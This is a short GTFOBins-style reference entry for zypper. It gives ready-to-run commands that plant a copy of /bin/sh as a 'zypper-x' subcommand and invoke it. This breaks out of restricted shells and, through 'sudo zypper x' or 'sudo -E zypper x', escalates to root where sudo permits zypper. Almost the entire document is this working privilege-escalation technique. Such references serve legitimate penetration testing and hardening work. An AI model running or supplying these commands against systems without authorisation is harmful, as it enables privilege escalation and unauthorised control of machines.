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• Shell
• Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• This requires /bin/sh to be copied to /usr/lib/zypper/commands/zypper-x and this usually requires elevated privileges.

  zypper x

• TF=$(mktemp -d)
  cp /bin/sh $TF/zypper-x
  export PATH=$TF:$PATH
  zypper x

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• This requires /bin/sh to be copied to /usr/lib/zypper/commands/zypper-x and this usually requires elevated privileges.

  sudo zypper x

• TF=$(mktemp -d)
  cp /bin/sh $TF/zypper-x
  export PATH=$TF:$PATH
  sudo -E zypper x